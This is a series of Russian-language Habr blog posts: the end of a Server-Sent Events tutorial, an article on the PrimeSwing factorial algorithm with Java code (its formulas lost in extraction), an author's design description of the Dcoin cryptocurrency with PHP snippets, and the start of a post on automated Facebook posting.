Более того, нам даже не нужен бесконечный цикл в скрипте. После открытия соединения будет так, словно скрипт запрашивается на исполнение автоматически.
`php<br/
header("Content-Type: text/event-stream\n\n");
echo 'data: ' . time() . "\n";
?>`
Ну и как это работает? Клиент открывает поток событий через создание EventSource, принимающего в параметре адрес источника событий. Обработчик события onmessage будет вызываться каждый раз при поступлении новых данных из источника. Как вы видите, имея AJAX мы можем асинхронно обращаться из клиента к серверу и, наоборот, через SEE обращаться из сервера к клиенту, опять же асинхронно.
Помимо прочего HTML5 описывает такую технологию как [WebWorker](http://en.wikipedia.org/wiki/Web_worker). Она позволяет запускать скрипты на исполнение в фоне и независимо друг от друга. Так что, если у вас случиться превышение допустимого лимита на открытые соединений в браузере из-за множества открытых EventSource, не беда — это легко решаемо. В каждом случае вы ссылаетесь на один и тот же WebWorker, который и обслуживает EventSource соединение.
И что, все это реально доступно для использования? [SSE реализованы в девелоперской версии Google Chrome 6](http://weblog.bocoup.com/chrome-6-server-sent-events-with-new-eventsource), в Safari 5.0 и в Opera 9.x. Впрочем, последняя реализация не совсем то, что я показывалв примерах выше. Под Оперой вы должны создать специальный элемент в HTML, на который затем «повесите» слушателя (listener).
Более того, со стороны сервера могут приходить события, адресованные различным слушателям
`document.getElementsByTagName("event-source")[0]
.addEventListener("server-time", function (event) {
alert(event.data);
}, false);`
Контроллер выглядить примерно так:
`php<br/
header("Content-Type: application/x-dom-event-stream");
echo "Event: server-time\n";
echo "data: " . time() . "\n";
flush();
?>`
Далее я сделал [пример, с помощью которого вы можете посмотреть как SSE работают в вашем браузере](http://sapid.sourceforge.net/ssetest/). Так не использовается консоль, так что поступающие с сервера сообщения не надо нигде искать, вы их увидите на странице. | https://habr.com/ru/post/96141/ | null | ru | null |
# Быстрое вычисление факториала — PrimeSwing
Наткнувшись недавно на [эту статью](https://habrahabr.ru/post/327544/), я понял, что редко упоминаются способы вычисления факториала, отличные от банального перемножения последовательных чисел. Нужно эту ситуацию исправить.
Предлагаю рассмотреть «асимптотически наиболее быстрый» алгоритм вычисления факториала!
Для начала напомню, что факториал n — это произведение всех натуральных чисел от 1 до n (), при этом ;
### 1. Декомпозиция факториала
Введём функцию, именуемую *swinging factorial*, следующим образом:
Данная дробь всегда будет целым числом по простой причине — она кратна центральному биномиальному коэффициенту , который равен 
Разворачивая определение *swinging factorial*, мы получим новую рекуррентную формулу факториала:
Она будет особенно хороша, если мы научимся эффективно вычислять значения .
### 2. Простые множители *swinging factorial*
Обозначим  как степень простого числа  в примарном разложении . Тогда будет справедлива следующая формула:
**Доказательство**Воспользуемся [теоремой Лежандра о простых множителях факториала](https://en.wikipedia.org/wiki/Legendre%27s_formula):
Для последнего выражения воспользуемся тем фактом, что , и получим нужную нам формулу.
Как следствие,  и . Если  нечётно, то . Другие частные случаи:
 здесь означает количество единиц в двоичном представлении числа . Все эти факты могут быть использованы для дополнительной оптимизации в коде. Доказательства я приводить не буду, при желании вы легко сможете получить их самостоятельно.
Теперь, зная степени всех простых делителей , у нас есть способ вычисления *swinging factorial*:
### 3. Трудоёмкость алгоритма
Можно показать, что вычисление  имеет сложность . Как ни странно, вычисление  имеет ту же сложность (в оценке используется [алгоритм Шёнхаге-Штрассена](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%83%D0%BC%D0%BD%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_%D0%A8%D1%91%D0%BD%D1%85%D0%B0%D0%B3%D0%B5_%E2%80%94_%D0%A8%D1%82%D1%80%D0%B0%D1%81%D1%81%D0%B5%D0%BD%D0%B0), отсюда и такая интересная трудоёмкость; доказательства по ссылке в конце статьи).
Несмотря на то, что формально перемножение чисел от 1 до n имеет ту же трудоёмкость, алгоритм *PrimeSwing* на практике оказывается самым быстрым.
UPDATE: как было замечено в [этом комментарии](https://habrahabr.ru/post/323770/#comment_10197274), тут я ошибся, перемножение чисел от 1 до n имеет большую трудоёмкость.
### Ссылки и реализация
* [страница с различными алгоритмами вычисления факториала;](http://www.luschny.de/math/factorial/FastFactorialFunctions.htm)
* [детальное описание алгоритма из статьи (и не только).](http://www.luschny.de/math/factorial/SwingIntro.pdf)
**Реализация на Java**
```
// main function
public static BigInteger factorial(int n) {
return factorial(n, primes(n));
}
// recursive function with shared primes array
private static BigInteger factorial(int n, int[] primes) {
if (n < 2) return BigInteger.ONE;
BigInteger f = factorial(n / 2, primes);
BigInteger ps = primeSwing(n, primes);
return f.multiply(f).multiply(ps);
}
// swinging factorial function
private static BigInteger primeSwing(int n, int[] primes) {
List multipliers = new ArrayList<>();
for (int i = 0; i < primes.length && primes[i] <= n; i++) {
int prime = primes[i];
BigInteger bigPrime = BigInteger.valueOf(prime);
BigInteger p = BigInteger.ONE;
int q = n;
while (q != 0) {
q = q / prime;
if (q % 2 == 1) {
p = p.multiply(bigPrime);
}
}
if (!p.equals(BigInteger.ONE)) {
multipliers.add(p);
}
}
return product(multipliers, 0, multipliers.size() - 1);
}
// fast product for the list of numbers
private static BigInteger product(List multipliers, int i, int j) {
if (i > j) return BigInteger.ONE;
if (i == j) return multipliers.get(i);
int k = (i + j) >>> 1;
return product(multipliers, i, k).multiply(product(multipliers, k + 1, j));
}
// Eratosthenes sieve
private static int[] primes(int upTo) {
upTo++;
if (upTo >= 0 && upTo < 3) {
return new int[]{};
}
int length = upTo >>> 1;
boolean sieve\_bool[] = new boolean[length];
for (int i = 1, iterations = (int) Math.sqrt(length - 1); i < iterations; i++) {
if (!sieve\_bool[i]) {
for (int step = 2 \* i + 1, j = i \* (step + 1); j < length; j += step) {
sieve\_bool[j] = true;
}
}
}
int not\_primes = 0;
for (boolean not\_prime : sieve\_bool) {
if (not\_prime) not\_primes++;
}
int sieve\_int[] = new int[length - not\_primes];
sieve\_int[0] = 2;
for (int i = 1, j = 1; i < length; i++) {
if (!sieve\_bool[i]) {
sieve\_int[j++] = 2 \* i + 1;
}
}
return sieve\_int;
}
``` | https://habr.com/ru/post/323770/ | null | ru | null |
# Как я писал свою криптовалюту
3 года назад у меня появилась мысль создать свою криптовалюту. От биткоина решил взять идею с нодами и блокчеином.
Я решил сделать привязку каждой ноды к человеку. Каждый, кто хочет стать майнером, должен заснять на видео своё лицо и сделать фото. При проверке сранивается фото и видео, чтобы убедиться, что лицо одно и то же. Видео нужно только потому, что подделать его практически невозможно, в отличие от фото.
На фото нужно нанести точки в определенные части лица, чтобы при поиске по БД сравнивать пропорции.
Проверяют это всё майнеры, которые ранее уже прошли такую проверку. В итоге нужно набрать 10 положительных голосов и менее 10 отрицательных в течение суток.
Всё это происходит путем рассылки транзакций и блоков между нодами, никаких центральных серверов нет. Все фото/видео находятся в паблике.
Если подкупить 10 майнеров, чтобы они проголосовали за Вас, то это не будет гарантией, что Вы станете майнером, т.к. остается шанс поймать 10 минусов.
Также предусмотрен запасной вариант, когда клоны уже проникли в DC-сеть. В этом случае на них кто-то должен отправить транзакцию с жалобой (ParseData->abuses()). Тогда админ, т.е. я, получает право отправить транзакцию, которая переведет данного майнера в ряды простых пользователей.
Всего админу доступно 11 типов транзакций, все они обрабатываются методами из [ParseData](https://github.com/c-darwin/dcoin/blob/master/includes/class-parsedata.php):
admin\_1block — Обработка самого первого блока.
admin\_add\_currency — Добавление новой валюты. Сейчас там не все нац валюты, а только основные.
admin\_answer — Ответ на баг-репорт.
admin\_ban\_miners — Перевод майнеров из майнеров в юзеры, если на него была жалоба. При этом всё, что успело найманиться остается в распоряжении пользователя.
admin\_message — Короткое сообщение, которое показывается в интерфейсе.
admin\_blog — На будущее, вдруг нужно будет сообщить что-то, что не влезет в короткое сообщение.
admin\_new\_version — Заливка новой версии.
admin\_new\_version\_alert — Выдает алерт в интерфейсе, что нужно обновиться.
admin\_spots — Всё для поиска клонов — наборы точек, совместимость версий точек, из каких точек составляем отрезки, допустимые расхождения.
admin\_unban\_miners — Перевод разжалованного майнера обратно в майнеры.
admin\_variables — Переменные, в БД таблица variables. Потом планирую сделать константами.
Я сразу перечислил все возможности админа, чтобы ни у кого не возникало вопроса — а может ли админ заблокировать аккаунт с деньгами? Нет, не может, максимум, что разрешено админу, — это понижение привилегий у аккаунта без затрагивания находящихся на аккаунте средств (admin\_ban\_miners).
Обозначения
-----------
Само слово miner (в переводе шахтер) наверное не очень подходит для обозначения пользователя с повышенными привилегиями. Но исторически сложилось, что у меня везде используется miner.
Порядок генерации блоков
------------------------
Все ноды делятся на уровни в зависимости от текущего хэша заголовка (node\_id,block\_id,prev\_head\_hash).
Нод, который находится на 0-м уровне, определяется методом testblock->get\_block\_generator\_miner\_id()
Если, например, сейчас на 0-м уровне нод ID 12689, то на 1-м уровне будут ноды 12690-12691, на 2-м — 12692-126995 и т.д.
Если нод на 0-м уровне не смог сгенерировать блок, то в работу включаются ноды 1-го уровня, если и они не смогли, то 2-го и т.д.
Т.е. злоумышленник не сможет сделать так, чтобы блок генерировали именно его ноды.
Генерация монет
---------------
Теперь у нас есть ноды, за каждой из которых закреплен один живой человек. Можно было бы просто раздать по X монет каждому майнеру. Но мне почему-то эта идея сразу не понравилась, как потом выяснилось, не зря. Вот пример того, что могло бы произойти — [habrahabr.ru/post/217111](http://habrahabr.ru/post/217111/) и далее — [coinmarketcap.com/aur\_90.html](http://coinmarketcap.com/aur_90.html).
Еще у меня из головы не выходила мысль о том, что если Dcoin станет популярен, то с ним могут начать бороться власти путем введения санкций против бирж. Нужен был механизм, который позволял бы существовать Dcoin без бирж, банков и прочих посредников.
Да, кстати, Dcoin — это сокращенно от Democratic Coin, оно же — DC.
Решение оказалось довольно простым. Нужно совместить раздачу монет с функцией обмена Dcoin на наличные. Для этого мне понадобилось скопировать основные валюты в Dcoin. Я просто прибавил букву D к 3-х буквенному коду валюты. Получилось DUSD, DEUR, DRUB и т.д.
Если майнер хочет купить, например, 1000 DUSD, то он отправляет в DC-сеть транзакцию, в которой указано, что он хочет купить 1000 DUSD за 1000 USD. Но желающих продать DUSD может не быть. Майнер должен быть готов ждать неопределенный срок, пока найдется продавец DUSD.
Теперь, у нас есть, например, 100к записей в нашей распределенной БД о том, что майнеры готовы купить DUSD на 100 млн. $. Осталось создать DUSD. Все, наверное, подумали о премайне. Но я не верю, что кто-то захочет заплатить мне $ за какие-то там DUSD, поэтому сразу нет. Да и вместо премайна было бы логичнее просто раздать монеты.
Я решил начислять на счет майнера DUSD за то, что майнер ждет, пока кто-то захочет продать ему DUSD.
Начисляются DUSD по следующей формуле:
nDUSD = bDUSD\*((1+K)^T)-bDUSD
где nDUSD — новосозданные DUSD, bDUSD — сумма DUSD, которую майнер готов купить, K — коэффициент, про который напишу ниже, T — время в секундах.
Т.е. чем больше DUSD готов купить майнер и чем дольше он ждет, пока ему их кто-то продаст, тем больше новых DUSD создается и начисляется ему на счет.
В исходниках эта формула находится в методе [ParseData](https://github.com/c-darwin/dcoin/blob/master/includes/class-parsedata.php)->calc\_profit(). calc\_profit включает еще несколько параметров, но если начну описывать и их, то будет слишком занудно и длинно. Но если кому-то интересно, то напишу.
Коэффициент К
-------------
Это очень важный коэффициент, т.к. от него зависит эмиссия. Я долго думал, каким его сделать, к каким параметрам привязать. Ведь он не должен поддаваться накрутке. Самым демократичным вариантом оказался тот, где этот коэффициент определяют сами майнеры данной валюты путем голосования. Для удобства, в интерфейсной части коэффициент К отображается как %/год. Допустимые значения от 0 до 1000%/год. В исходниках ParseData->votes\_complex(). Майнер может голосовать только за те валюты, которые были добавлены у него более чем $variables['min\_hold\_time\_promise\_amount'] секунд назад. Для защиты от атак клонов, чтобы они не смогли дестабилизировать сеть своими голосами.
Пересчет голосов и обновление коэффициентов делается каждые $variables['new\_pct\_period'] секунд. Сейчас там 2 недели.
Теперь у нас в распределенной БД есть не только обещания майнеров купить 100 млн. DUSD, но и их голоса за скорость эмиссии, т.е. за коэффициент К. И через какое-то время на счетах майнеров начнут появляться первые DUSD.
Получается, что обычный майнер должен просто указать, что он готов отдать 1000$ за 1000 DUSD, и если по результатам голосования будет выбрано, например, 900%/год, то через месяц у него будет +200 DUSD, а через год +9000 DUSD, которые эквивалентны 9000$.
Но я не рекомендую заигрываться с верхними пределами коэффициента. Про последствия будет написано ниже.
WOC
---
По аналогии с [ru.wikipedia.org/wiki/Wocu](http://ru.wikipedia.org/wiki/Wocu) я сделал WOC. Она начисляется каждому майнеру, её нельзя обменять на наличные у другого майнера. Её можно переводить с кошелька на кошелек. По идее, WOC должна заменить доллар на пьедестале мировой валюты.
Биржи
-----
Если они будут — хорошо, но если их запретят — то не страшно. В крупных городах, я думаю, предпочтение майнеров будет отдаваться встроенному механизму обмена, ведь он переводит валюту Dcoin сразу в наличные деньги.
Географические и национальные ограничения
-----------------------------------------
Возможно большинство майнеров будет против того, чтобы майнинг их национальной валюты происходил где-то за пределами их страны или валютного союза, либо захотят, чтобы майнеры находились только в крупных городах. По-этому при добавлении какой-либо валюты майнеру нужно будет записать видео, в котором он будет говорить на своем национальном языке, что-то вроде: «Я обещаю отдать 100 норвежских крон за 100 DNOK». Далее нужно будет указать страну и отметить точку на карте. И запрос должны будут утвердить 10 майнеров, у которых майнится Норвежская крона. Возможно майнеры DNOK введут правило, по которому новые майнеры DNOK должны будут снять видео на фоне какого-нибудь известного памятника в крупном городе Норвегии.
Инфляция
--------
Я не знаю, как поведут себя майнеры и за какой коэффициент они будут голосовать. Но не исключен такой сценарий, когда, например, DUSD будет создано больше, чем нужно рынку. Если DUSD будет торговаться на биржах, то курс упадет ниже 1:1, т.е. за 1 DUSD будут давать, например, 0.9 USD. В этом случае майнеры должны проявить сознательность и уменьшить общую массу DUSD. Путем того же голосования. Например, >50% проголосуют за уменьшение на 10% и в БД вместо 100 млн. DUSD у всех станет 90 млн. DUSD (ParseData->reduction()), что, скорее всего, вернет курс на 1:1.
Также майнеры могут проголосовать за изменение максимальной обещанной суммы и за количество валют, которые могут майниться вместе (ParseData->votes\_complex()).
upd. Если общий объем обещанных сумм станет меньше объема созданных монет какой-либо валюты, тогда запустится автоматическое сокращение объема монет проблемной валюты на 10%.
Простые пользователи
--------------------
Кроме майнеров есть еще простые пользователи. Для них не нужно ни фото, ни видео, они полностью анонимны. Они могут только принимать и отправлять монеты Dcoin. Держать свою ноду пользователю не нужно. Он может просто отправлять свои транзакции на любую ноду в DC-Сети.
Майнеры могут проголосовать за то, чтобы монеты простых пользователей росли на их кошельках. Например, на 30%/год. Т.е. простой пользователь может купить на бирже какое-то кол-во DUSD, например 10к, и через год у него будет 13к DUSD. Я не знаю, нужна ли такая фича, если не нужна, то майнеры могут просто держать % для пользователей равным нулю, и ничего расти не будет.
Новые пользователи
------------------
С этим тоже пришлось помучиться. Ведь если дать возможность слать транзакции с регистрацией новых пользователей всем подряд, то кто-то возьмет да сгенерирует 1млрд транзакций и захламит всю DC-сеть. Вначале сделал с инвайтами, но выяснилась проблема — транзакцию с регистрацией, в которой указан инвайт, можно перехватить и использовать инвайт самому. Поэтому транзакцию с регистрацией нового пользователя может отправлять только майнер и не более $variables['limit\_new\_user'] за $variables['limit\_new\_user\_period'] секунд. Сейчас там 2 за месяц.
Защита от хищения праймари ключа
--------------------------------
К аккаунту можно прикрепить до 3-х праймари ключей. Это значит, что для принятия DC-сетью любой Вашей транзакции будет требоваться 3 подписи. Один ключ Вы можете хранить у себя, два других, например, на каких-нибудь сторонних сервисах, которые будут подписывать Ваши транзакции только если Вы введете смс-код.
Пара слов о процессе разработки
-------------------------------
То, что уйдет 3 года, я не представлял даже в самом страшном сне. Я думал управиться за несколько месяцев. По этой же причине писал на том языке, который знал на более-менее приемлемом уровне. Если бы вернуться в прошлое на 3 года, то, наверное, использовал бы C++.
Первые 2 с половиной года работал по вечерам и выходным, что жутко раздражало, но полгода назад избавился от работы, которая мешала, и стал уделять всё время Dcoin. Последние 3 месяца по 10-16 часов в сутки искал и исправлял баги. Думал, максимум месяц — и багов не будет, а нет — 3 ушло.
Очень много тонкостей работы Dcoin я не описал, т.к. иначе получится слишком длинная статья, которую будет сложно читать. В Dcoin 41 тип транзакций, методы, которые их обрабатывают, находятся в классе ParseData. Пишите вопросы, всё поясню.
Комментарии в исходниках сожержат множество ошибок и опечаток, потом обязательно подчищу. Код написан, скорее всего, не очень грамотно, но главное, что всё работает.
Установка
---------
При установке требуется приватный ключ. Его можно взять либо [тут](http://github.com/c-darwin/dcoin/blob/master/100.txt), либо у какого-нибудь майнера.
Установка простая и занимает около 2-3 минут. Чтобы акканут не занял кто-то другой, нужно сразу сменить ключ.
Можно использовать пока только на 32-х битных ОС. Нужно переписать пару функций, в частности pow, и будет совместимо и с 64-х битными.
На тестах использовал простые ВПС с 512 ОЗУ и 700Mhz CPU, на первое время таких мощностей будет вполне достаточно.
Нужен apache или nginx, PHP >5.2.4, Mysql >5.0.
Если будете ставить на win, то лучше используйте nginx, я тестировал с winginx.
**upd**
По просьбам в комментариях написал описание установки:
**Для win**1. Устанавливаем [winginx.com/ru/download](http://winginx.com/ru/download)
2. Создаем проект в Winginx Workbench
3. Скачиваем [github.com/c-darwin/dcoin/archive/master.zip](https://github.com/c-darwin/dcoin/archive/master.zip)
4. Распаковываем в директорию сайта
5. Создаем БД в pma: [localhost](http://localhost):81/
6. Заходим на [localhost/dcoin-master/index.php](http://localhost/dcoin-master/index.php)
7. php\_path, скорее всего, будет такой — C:\Winginx\php5\php.exe
8. Следуем инструкции по установке
Чтобы проапгрейдить аккаунт до майнерского нужно будет открыть 80-й порт для входящих соединений.
**Для nix**1. Если не установлены, то устанавливаем nginx, PHP >5.2.4, Mysql >5.0, создаем БД
2. Скачиваем [github.com/c-darwin/dcoin/archive/master.zip](https://github.com/c-darwin/dcoin/archive/master.zip)
3. Распаковываем в директорию сайта
4. Заходим по [ip\_сервер/dcoin-master/index.php](http://ip_сервер/dcoin-master/index.php)
5. Следуем инструкции по установке
Чтобы проапгрейдить аккаунт до майнерского нужно будет открыть 80-й порт для входящих соединений.
**upd1**
Было крупное обновление исходников — теперь есть автоматическое уменьшение объема Dcoin.
**upd2**
Развернутые ответы на вопросы, заданные в комментариях
======================================================
Подделка видео
--------------
А что если взять да сгенерировать в каком-нибудь софте видео-ролики, затем зарегать 100500 майнерких аккаунтов, уничтожив Dcoin на корню? Или нанять гримеров, которые будут создавать тысячи новых лиц в сутки?
За небольшие деньги такое возможно только в научной фантастике. Чтобы не быть голословным, я буду приводить пруф-линки.
#### Компьютерная подделка
Минимальная цена создания одного такого видео будет от 2000$, хотя некоторые специалисты утверждают, что для достижения более-менее приемлемого уровня реалистичности нужно от 1 млн$ за каждый ролик. [Пруф](http://3dcenter.ru/forum/index.php?showtopic=116330&st=15&p=1502794&#entry1502794)
#### Профессиональный грим
Если взять, например, одного человека и 50 раз его загримировать и разгримировать?
Звучит довольно просто, но на деле такое удовольствие обойдется от 100k$ до 285k$ за 50 гримов. [Пруф](http://grim.com.ru/showthread.php?t=3141)
В студии Петра Горшенина, где мне озвучили сумму в 285k$, процесс описали вот так:
«Нужно снять форму с человека, отлить модель его лица. Потом изготовить модели частей лица столько, сколько будет разных деталей, примерно 5(отдельно лоб, нос, подбородок и две скулы). Далее на них делаются скульптуры изменений из пластилина. Потом с этого опять снимаются формы, в которых будут отливаться сами детали из силикона. И все это 50 раз за исключением первого снятия формы с человека.»
Про возможность возникновения «ферм»
------------------------------------
Скорее всего, рано или поздно, возникнут «Фермы», где ушлые дельцы будут платить по 10-20$ за полную регистрацию аккаунта с добавленной обещанной суммой и оффлайн проверкой. Но если такие хитрецы появятся, значит прибыль, которую они будут получать с каждого такого аккаунта, будет не менее нескольких сотен долларов. Если кто-то отправит на такой серый аккаунт запрос на обмен Dcoin на указанную там обещанную сумму, то владельцу такой фермы будет совершенно не выгодно получить заморозку роста монет по его обещанным суммам. Ведь полученные Dcoin можно без проблем продать на бирже. И ему придется отдать обещанную сумму в обмен на такое же кол-во Dcoin. Т.е. такая ферма, по сути не будет отличаться от группы простых майнеров, единственное, что все сливки будет получать один человек.
Но больших объемов у таких ферм не будет. Т.к. при выявлении первой такой схемы будет добавлено правило записи первого ролика, в котором будет говориться, что нужно на камеру показать лист бумаги, на котором написано «с правилами на сайте democratic-coin.com согласен». Большинство из любопытства зайдут на сайт, чтобы узнать, с чем таким они согласны. А на сайте будет написано, что продавать аккаунт за 10-20$ крайне не выгодно, гораздо выгоднее этот аккаунт использовать самому.
А что если поехать в глухую провинцию Индии, где у 85% населения нет интернета, и снимать там людей в студии?
Опять же, получится ферма, которая не будет оказывать серьезного негатива, т.к. владельцу фермы будет невыгодно игнорировать запросы на его обещанные суммы.
Но не спалить такую ферму будет гораздо сложнее, т.к. пройти оффлайн проверку и затеряться в крупном городе не получится, а значит придется притворяться жителем каких-то мелких городов, где еще не набралось 25 майнеров. А все такие города будут тщательно проверяться админом. Останется найти схожие элементы на видео и отправить запросы с просьбой снять новое видео.
Само существование ферм предполагает, что Dcoin уже развился и каждый майнерский аккаунт является источником постоянной прибыли. А владельцы таких ферм получают сверхприбыли, пользуясь неосведомленностью обывателей. Этот факт не сможет долго оставаться незамеченным и рано или поздно попадет в СМИ. И все эти неосведомленные очень быстро станут осведомлены, что выгоднее самому стать майнером, тем более, для этого к тому времени, возможно, не нужен будет даже компьютер, достаточно один раз зарегистрироваться в каком-нибудь интернет-кафе и дальше использовать мобильный телефон как у [37coins](http://coinspot.ru/news/37coins-zapustit-mezhdunarodnyj-bitkojn-sms-koshelek/).
Песочница для новых майнеров
----------------------------
Просто так взять и заполонить DС-сеть ботами-майнерами невозможно, потому что новый майнер может зарегистрировать новых юзеров не раньше, чем через один месяц. И в месяц можно регистрировать не более 2-х юзеров. Голосование и обмен на наличные новым майнерам также становятся доступны только через месяц.
Сутки на проверку
-----------------
А что если где-то достать 10 аккаунтов и ставить по 10 плюсиков своим ботам?
Из этого ничего не получится. Т.к. голосование не может быть завершено ранее, чем через 24 часа от появления транзакции в DC-сети. И если за это время претендент соберет 10 минусов, то майнером он не станет. А чтобы у всех майнеров была мотивация проверять других майнеров, существуют баллы, недобор которых приводит к снижению % роста обещанных сумм.
Офф-лайн проверка
-----------------
(В процессе внедрения)
Если в радиусе 25км от пользователя, который хочет стать майнером, есть минимум 25 других майнеров, то из них будет выбран 1 псевдо-случайный.
**Код**
```
/**
* @param int $user_id - user_id претендента на майнера.
* @param int $size - кол-во элементов в массиве майнеров, которые находятся в пределах 25км.
* @return int
*/
function get_checking_miner_id ($user_id, $size) {
$hi = $user_id / 127773;
$lo = $user_id % 127773;
$x = 16807 * $lo - 2836 * $hi;
if ($x <= 0)
$x += 0x7fffffff;
$key = ( ($user_id = $x) % ($size + 1));
return $key;
}
```
Как видно из алгоритма, сделать так, чтобы проверку делал какой-то определенный майнер, невозможно. Выбранному майнеру отправляются контакты претендента на майнера, он должен ему позвонить и назначить место встречи. В течение 2-х суток они должны встретиться, выбранный майнер должен сделать их совместное фото, выложить на свою ноду и отправить транзакцию в DC-сеть.
За это он получит 1000 баллов. Также он может отправить транзакцию, в которой отказывается делать проверку. Если прошло 2 суток или была отправлена транзакция с отказом, претендент получает право отправить новый запрос следующему случайному майнеру.
Если в радиусе 25км менее 25 майнеров, то проверка происходит без личной встречи. В радиусе 50,100,500,1000,10000,100000км ищется 25 майнеров, выбирается псевдо-случайный, ему шлется запрос. Он должен по скайпу позвонить претенденту, посмотреть на него через камеру, сделать фото, выложить на свою ноду, отправить транзакцию в DC-Сеть.
После того, как транзакция с фото отправлена, претендент получает право отправить в DC-сеть транзакцию, в которой укажет ссылку на свое видео, хэши своих фото, точки на фото. Далее идет проверка майнерами и голосование.
Таким образом «ферма» не сможет затеряться в толпе в крупном городе, а все майнеры, которые будут появляться в местах, где еще нет 25-и других майнеров, будут дополнительно проверяться админом.
Про баллы
---------
Чтобы получать майнерский %, нужно каждый месяц набирать кол-во баллов, не менее, чем:
Сумма баллов всех майнеров за месяц / кол-во майнеров \* Коэффициент.
Коэффициент в данный момент равен 0.3
Если баллов меньше, то в следующем месяце будет юзерский процент.
Отправка данных в DC-сеть и проверка нодами
-------------------------------------------
После успешного прохождения оффлайн проверки, пользователь, который хочет стать майнером, заливает на свою ноду 2 фото, отмечает на них точки, указывает url к видео и отправляет в DC-сеть транзакцию. В этой же транзакции указаны хэши от фото.
Ноды получают эту транзакцию в одном из блоков и если находят себя среди тех, кто должен скачать эти фото к себе, то автоматически качают их.
Ноды, которые должны сохранить фото у себя, определяются вот таким алгоритмом:
**Код**
```
/**
* @param int $block_id номер блока, в котором транзакция была принята.
* @param int $max_miner_id - максимальный id майнера на момент, когда тр-я попала в блок.
* @param int $miners_keepers - сколько нодов должны сохранить фото у себя. сейчас это 10.
* @return array
*/
function get_miners_keepers ($block_id, $max_miner_id, $miners_keepers) {
for ($i=0; $i < $miners_keepers; $i++) {
$hi = $block_id / 127773;
$lo = $block_id % 127773;
$x = 16807 * $lo - 2836 * $hi;
if ($x <= 0)
$x += 0x7fffffff;
$miner_id = ( ($block_id = $x) % ($max_miner_id + 1));
$miner_id = ($miner_id==0)?1:$miner_id;
$array[] = $miner_id;
}
return $array;
}
```
Т.е. сделать так, чтобы фото сохранили какие-то конкретные ноды, невозможно.
Каждая нода, которая сохранила фото у себя, сравнивает их хэши с хэшами, указанными в транзакции. Если они сходятся, то отправляет в DC-сеть транзакцию, в которой сообщает о том, что проверка пройдена. Если >=50% нодов подтвердили, что успешно скачали к себе фото, то начинается проверка майнерами. Проверка нодами происходит в автоматическом режиме, без участия майнера.
Проверка майнерами
------------------
На первом шаге нужно проверить, верно ли нанесены точки на фото.
Далее, нужно сравнить фото и видео, действительно ли там одно и то же лицо. А также фото, полученное от майнера, который делал проверку в оффлайн.
После этого выдается страница, где показаны фото похожих людей. Нужно визуально проверить, нет ли на них подозрительно похожих лиц. Предусмотрен выбор расы, т.к. для европейцев все азиаты на одно лицо, а для азиатов все европейцы одинаковые.
*На данном примере видно, что у претендента был найден точный клон*
Если фото не отображено, то нужно нажать на кнопку «перезагрузить», тогда это фото загрузится с другой ноды. Если ни с одной из 10-и нод фото невозможно загрузить, то есть вероятность, что наш претендент на майнера просто заддосил 10 нодов, где лежит фото от его предыдущего аккаунта. Поэтому нужно отказывать такому майнеру. За выполнение задания по проверке претендента в майнеры начисляется 50 баллов
Будут ли майнеры ответственно относиться к выполнению заданий?
--------------------------------------------------------------
Если у Вас прямо сейчас есть какое-то кол-во btc, то любой негатив в СМИ в сторону bitcoin будет Вам неприятен, т.к. этот негатив может повлиять на курс btc, а следовательно, и на кол-во благ, которые Вы могли бы купить на свои btc. При этом, когда у Вас не было btc, то отношение к новостям о bitcoin у Вас было более нейтральным. Верно?
Представьте, что у Вас куплено Dcoin на какую-то сумму или у Вас добавлена обещанная сумма, которая приносит постоянную прибыль. Только в этом случае судьба Dcoin будет Вам действительно небезразлична. И если от Вас будет зависеть, пройдут ли в DC-сеть чьи-то клоны, которые смогут получить незаслуженные монеты, то отнесетесь ли Вы ответственно к процедуре их проверки? При этом, запрещать всех подряд нельзя, ведь Dcoin должен проникать в широкие массы, чтобы Ваши монеты можно было без проблем обменять на фиат.
Поиск клонов изнутри
--------------------
Нам понадобится один отрезок на каждой из 2-х фото, с которым будем сравнивать все остальные отрезки.
Сейчас это расстояние между глаз на фото анфас и расстояние от глаза до края уха на фото в профиль.
В таблице spots\_compatibility хранится:
1. Текущая версия.
2. Точки, которые наносятся на 2 фото примера.
3. С какими версиями совместимо.
4. Какие точки с какими будем соединять для получения отрезков.
5. Допустимые расхождения при поиске клонов.
В таблице faces хранится:
1. f1,f2...f20 — соотношения отрезков на лице анфас к расстоянию между глаз.
2. p1,p2...p20 — соотношения отрезков на лице в профиль к расстоянию от глаза до края уха.
3. Версия spots\_compatibility, которая была на тот момент.
Если будет найден более эффективный набор точек для поиска клонов, то данные в таблице spots\_compatibility обновляются и в таблицу faces будут заносится отрезки на основе нового набора точек.
В первом шаге проверки претендента на майнера мы убедились, что точки на фото нанесены верно, а значит отрезки будут получены тоже верные. Остается просто сделать запрос в базу данных, где будет идти сравнение с f1,f2...f20 и с p1,p2...p20 с учетом допустимых расхождений из spots\_compatibility. В итоге получаем id майнеров, которые похожи на претендента.
**Тесты**:
i7-2600k / centos i386 / стандартные настройки mysql и php
| Записей | Время в секундах |
| --- | --- |
| 1 млн | 0,12 |
| 3 млн | 0,39 |
| 5 млн | 0,8 |
Проверка админом
----------------
Возможно, из-за неидеальных значений в spots\_compatibility, клоны смогут проскакивать. По-этому у админа есть возможность разжаловать уже прошедших проверку майнеров в пользователи (собственно для этого и нужен админ в Dcoin), но не более 1000 за день. В результате этого перевода, средства на аккаунте майнера никуда не денутся, просто будут расти с юзерским %, а обещанные суммы перестанут приносить новые монеты.
Выборы админа
-------------
Если действия админа будут не устраивать большинство, то майнеры могут проголосовать за передачу функций админа любому пользователю. Если наберется более 50% голосов, то все функции админа полностью перейдут к выбранному пользователю. | https://habr.com/ru/post/221827/ | null | ru | null |
# Автоматическое добавление, удаление постов и комментариев к ним на Facebook
Доброго времени суток всем.
Хочу поделиться опытом автоматического добавления и последующего удалением новостей, а также комментариев к ним на страницах пользователей, групп, событий и фан. страниц Facebook.com.
Для реализации нам необходим **PHP** с подключенным модулем **curl**, **PHP Facebook SDK** [ссылка](https://github.com/facebook/php-sdk).
Передо мной поставили задачу: из админ. панели сайта добавить новости в соответствующую группу в ВКонтакте и на фан. страницу Facebook.
Разобраться с контактом не составляло труда. Помогла статья [эта](http://habrahabr.ru/blogs/social_networks/125155/) и [эта](http://habrahabr.ru/blogs/social_networks/113968/). Только я столкнулся с таким багом или ограничением: у меня метод **wall.post** не возвращает **post\_id**, хотя в документации написано, что должен.
